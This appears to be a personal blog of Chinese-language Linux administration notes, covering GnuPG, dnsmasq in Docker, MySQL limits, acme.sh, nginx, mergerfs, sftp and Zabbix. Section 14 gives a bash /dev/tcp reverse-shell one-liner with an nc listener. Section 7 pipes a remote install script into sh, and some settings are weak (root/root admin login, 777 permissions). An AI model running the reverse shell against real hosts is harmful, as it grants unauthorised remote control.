那些杂七杂八的记录

1. GnuPG 加密与解密
gpg 对称加密
gpg 非对称加密
2. DOCKER 创建 DNS SERVER
3. Mysql Errcode: 24 - Too many open files
4. dotnet 环境搭建
5. 在Linux中删除virbr0接口
6. Linux 杀毒软件 clamav
7. acme.sh 管理免费域名证书
8. 禅道bug管理系统
9. nginx 代理php产生的一些故障
10. linux 合并文件系统 margerfs 12. 监听本地网卡上没有的IP地址
13. 腾讯云第二块网卡绑定公网ip
14. shell 反弹
15. zabbix 自动发现异常错误
16. nginx 获取cdn真实用户ip
17. virtualbox - 从主机端口80到VirtualBox端口80的端口转发不起作用


1. GnuPG 加密与解密

1.1. gpg 对称加密

加密: gpg -c <file>, 输入两次加密密码,完成后生成文件<file>.gpg(加密后源文件保留)
解密: gpg <file>.gpg, 输入加密密码,正确后生成文件<file>(解密后加密文件保留)

1.2. gpg 非对称加密

非对称加密/解密文件时,Server 生成私钥与公钥,并把公钥发送给Client, Client 使用公钥加密数据,并把加密后的数据传给ServerServer 最后使用自己的私钥解密数据。

# Server: 创建公钥私钥 $> gpg --gen-key # 需要填写一些东西,可根据需求选择 ## 配置文件介绍 # GPG 配置文件目录:~/.gnupg # ~/.gnupg/gpg.conf – 配置文件 # ~/.gnupg/trustdb.gpg – 信任库 # ~/.gnupg/pubring.gpg – 公钥库 # ~/.gnupg/secring.gpg – 私钥库 $> gpg --list-key # 密钥查看 $> gpg -a --export <UserID> > ./public-key.pub # Server: 公钥导出 UserID 为公私钥创建时候生成的,即 gpg: 密钥 <UserID> 被标记为绝对信任 # 将公钥传送到Client上 # Client: 导入 公钥 $> gpg --import ./public-key.pub # Client: 文件加密 $> gpg -e -r <UserID> <file> <file>.gpg # 加密完成后将文件传送至Server 进行解密,此时Client上是不可解密的,要解密需要私钥 # Server: 文件解密 $> gpg -d <file>.gpg <file>

2. DOCKER 创建 DNS SERVER

$> vim /data/docker/dns/dnsmasq.conf #dnsmasq config, for a complete example, see: # http://oss.segetech.com/intra/srv/dnsmasq.conf #log all dns queries log-queries #dont use hosts nameservers no-resolv #use cloudflare as default nameservers, prefer 1^4 server=8.8.4.4 server=8.8.8.8 strict-order #serve all .company queries using a specific nameserver server=/company/10.0.0.1 #explicitly define host-ip mappings address=/www.example.com/172.16.10.10 $> docker run -d -p 53:53/udp -p 53:53/tcp -p 5380:8080 -v /data/docker/dns/dnsmasq.conf:/etc/dnsmasq.conf --log-opt "max-size=100m" -e "HTTP_USER=root" -e "HTTP_PASS=root" jpillora/dnsmasq

3. Mysql Errcode: 24 - Too many open files

https://blog.csdn.net/weixin_36343850/article/details/86293700

原因:打开文件数量太多,超出了open_files_limit这个参数的限制,在一个表中有多个分区的时候,这种情况更容易发生。
解决方法:

  • 查看 open_files_limit参数, 使用show variables like '%open%';就可以看到了
  • 修改 open_files_limit参数
    在网上找了很多资料,有的说直接在/etc/mysql/mysql.conf.d/mysqld.cnf文件中的[mysqld]部分添加open_files_limit参数,比如open_files_limit=102400,并且在/etc/security/limits.conf 添加mysql soft nofile 102400mysql hard nofile 102400这两个参数然后重启MySQL,但是发现不能生效。
  • 以下方法可用:
    • 在文件/etc/systemd/system/multi-user.target.wants/mysql.service(也有可能是/etc/systemd/system/mysql.service这个文件)最后添加LimitNOFILE=102400
  • 然后执行systemctl daemon-reload,接着再重启mysql服务sudo service mysql restart,可以看到已经修改成功了

4. dotnet 环境搭建

$> rpm -Uvh https://packages.microsoft.com/config/rhel/7/packages-microsoft-prod.rpm $> yum install libgdiplus-devel libunwind icu -y $> wget https://packages.microsoft.com/rhel/7/prod/dotnet-sdk-2.1.200-rhel-x64.rpm $> yum install dotnet-sdk-2.1.200-rhel-x64.rpm -y $> dotnet --info # supervisor 管理 yum install supervisor -y # 前端管理样式页面 /usr/lib/python2.7/site-packages/supervisor/ui/status.html

5. 在Linux中删除virbr0接口

virbr0CentOS7在安装过程中选择了相关虚拟化的服务安装后产生的,实际上好像是没什么卵用的

$> virsh net-list $> virsh net-destroy default $> virsh net-undefine default $> systemctl restart libvirtd.service

6. Linux 杀毒软件 clamav

# 需要安装epel源 $> yum install clamav-server clamav-data clamav-update clamav-filesystem clamav clamav-scanner-systemd clamav-devel clamav-lib clamav-server-systemd # 注释掉 /etc/freshclam.conf /etc/clamd.d/scan.conf 中的Example # 更新病毒库  $> /usr/bin/freshclam # 扫描 $> clamscan -ri /data --remove -l /var/log/clamscan.log

7. acme.sh 管理免费域名证书

此处说明两个注意一点设置的DNS API密钥的获取,cloudflare腾讯云, 其他可直接参看官方说明 https://github.com/acmesh-official/acme.sh/wiki/dnsapi

  • cloudflare:解析的需要创建API 令牌, API令牌权限需要创建 区域.区域区域.DNS,区域资源为所有区域或者帐号的所有区域 , 另外需要的CF_Account_IDurl中包含的那32位的字符串.
# cloudflare $> curl https://get.acme.sh | sh $> export CF_Token="xxxxx" $> export CF_Account_ID="xxxxxx" $> acme.sh --issue -d example.com -d '*.example.com' --dns dns_cf
  • 腾讯云:腾讯云实际上需要使用的是dnspodidtoken他们两个是共用的,可以直接用腾讯云帐号登录dnspod,进去后获取到idtoken 就行了
# 腾讯云 $> curl https://get.acme.sh | sh $> export DP_Id="xxxxx" $> export DP_Key="xxxxx" $> acme.sh --issue -d example.com -d '*.example.com' --dns dns_dp

8. 禅道bug管理系统

这个部署遇到的一个坑就是php打死获取不到session的位置
打开调试日志方式是将my.cnfdebug设置为true
实际错误体现是 ERROR: 您访问的域名 xxx.xxx.xxx 没有对应的公司。
我的解决方案是 代码目录整体权限设置为777,然后删除掉my.cnf进行重装,重装后在目录权限调整为正常权限即可.

9. nginx 代理php产生的一些故障

记录一个nginx 代理 php 产生的问题,问题已经解决了,但是似乎还是没有找到根本原因,若有了解的,请一定解惑一二, 以下记录下处理过程 .

  • 问题产生过程:

    • A服务器代码迁移到B机器上,代码是rsync直接同步的,然后B运行的时候就出问题了,根据调试发现,无论访问什么(html/js/css)都会跳转到首页,实际应该是都会经过php解析(我发誓A和B的环境配置是一模一样的!A可以正常运行.), php框架为opencart .
  • 浏览器访问表现以下错误:

    • Resource interpreted as Stylesheet but transferred with MIME type text/html
    • ERR_CONNECTION_REFUSED
  • 处理过程 :

    • 问题实际上是头一天发生的,经过多方调试发现,实际上通过域名访问任何资源均会跳转到首页,访问php资源则会出现无法加载js/css等静态资源全部都是MIME类型问题,nginx强行给css/js等资源设置一个content-type前端也无法识别正确,另外也测试过网上提供的多方解决方案,仍然无法得到解决 .
    • 第二天, 保持原有nginx配置 , 我给对应站点首页的index.php代码中加入了echo 123; exit();进行测试,访问发现可正常断开,此时在访问根下的静态html测试文件,发现可以正常访问了,此时删除echo 123; exit();,重新访问index.php,发现(js/css)静态资源被升级为https访问,此时我给相关域名配置上证书,然后访问就正常了!!!
  • 原因分析:

    • 站点缓存(这个可能性最大),opencart框架实际上session是存储到数据库中的,估计很多的cache也是存于数据中的,而今天解决的时间也恰好距离我最后一次同步一天的样子.
    • nginx 配置域名过多,导致配置混乱. B服务器的nginx实际上已经配置了很多个域名,php解析的SCRIPT_FILENAME 我使用的是$document_root,最后一次修改我也将$document_root修改为了具体的路径,不知道会不会是这个原因产生的.

10. linux 合并文件系统 margerfs

https://wzyboy.im/post/1148.html

https://github.com/trapexit/mergerfs

使用示例:

# 挂载到的目录必须为空 # 命令挂载 $> mergerfs -o defaults,allow_other,use_ino,minfreespace=10G,ignorepponrename=true /data01:/data02 /shares # fstab $> /etc/fstab /data01:/data02 /shares fuse.mergerfs defaults,noauto,allow_other,use_ino,minfreespace=10G,ignorepponrename=true 0 0

11. linux sftp 搭建

# 编辑文件 /etc/ssh/sshd_config,末尾添加(新建的用户若仅使用sftp可以不指定可登陆的bash) # 若想要让sftp更像登陆到了服务器,可配合chroot来控制(https://blog.cxd115.me/115/.html),当然也可以直接创建账号,但一般不建议 # Match Group www # 限制某个组或者某个用户使用以下规则 ChrootDirectory /data/sftp # sftp 限制登陆目录到此处 ForceCommand internal-sftp # 仅允许使用sftp X11Forwarding no # 禁止x11转发 AllowTcpForwarding no # 禁止 tcp 转发

12. 监听本地网卡上没有的IP地址

# 一般用于 keepalive + nginx 使用 echo 'net.ipv4.ip_nonlocal_bind = 1' >> /etc/sysctl.conf

13. 腾讯云第二块网卡绑定公网ip

官方文档是有记录的,这儿记录下服务器上的设置

# 网卡初始化 DEVICE=eth1 NM_CONTROLLED=yes ONBOOT=yes IPADDR=<网卡2IP> NETMASK=255.255.240.0 # echo "10 t1" >> /etc/iproute2/rt_tables echo "20 t2" >> /etc/iproute2/rt_tables /usr/sbin/ip route add default dev eth0 via 172.21.0.1 table 10 /usr/sbin/ip route add default dev eth1 via 172.21.0.1 table 20 /usr/sbin/ip rule add from 172.21.2.168 table 10 /usr/sbin/ip rule add from 172.21.2.74 table 20

14. shell 反弹

https://blog.csdn.net/weixin_41082546/article/details/104123131

# 被控端执行 nc -lvp 65535 # 控制端执行 bash -i >& /dev/tcp/<被控端ip>/65535 0>&1

15. zabbix 自动发现异常错误

  • 具体错误表现
  1. Cannot create item: item with the same key "domain.status[{#DOMAIN_NAME},http_code]" already exists.
  2. Cannot accurately apply filter: no value received for macro "{#DOMAINNAME}".
  • 解决方案
    • 这个是特么的自动发现脚本返回值的key必须用{}括起来,不然你即使是json格式他也不会认, 网上那些这个抄那个的坑货就只知道变量要大写,还有个坑告诉我要使用宏,用了宏就是第二个问题,不用第一个,这我是记得很清楚,宏并不是必定要有的啊,我以前写也基本没有加过。 我特么也是蠢了,写了这么多的自动发现,居然没有注意要括起来。

16. nginx 获取cdn真实用户ip

# client_real_ip 即为用户真实IP,可直接用于替换 remote_addr map $http_x_forwarded_for $client_real_ip { "" $remote_addr; ~^(?P<firstAddr>[0-9\.]+),?.*$ $firstAddr; }

17. virtualbox - 从主机端口80到VirtualBox端口80的端口转发不起作用

此次问题实际出现是在windows上, 理论上说linux下若使用nat功能可能也会出现该问题(至于为什么用nat,virtualbox似乎并不支持桥接网卡,因此要为虚拟机分配物理ip似乎就只能在物理机绑定多个ip,然后nat转发到虚拟机中), virtualbox在转发80端口时似乎会与物理机的80冲突,从而导致转发无效,这个可能是因为我物理机也启用了IIS的原因.好吧,以上都是些废话,我也不知道在说些什么,下面看解决方案.

  • 解决方案
  1. 我是用的 windows的端口转发解决的, virtualboxnat的时候转发一个其他端口(比如8080)到内部的80, 然后在windows 在进行一次转发,将绑定的ip80端口转发到8080上,这样也可以解决,骚操作看他 https://blog.0x5c0f.cc/115/4.html,自己找下windows 端口转发, 这个没打标
  2. 还有个说的是用管理员身份运行virtualbox,也可以解决,不过我没有验证过

https://www.coder.work/article/6503907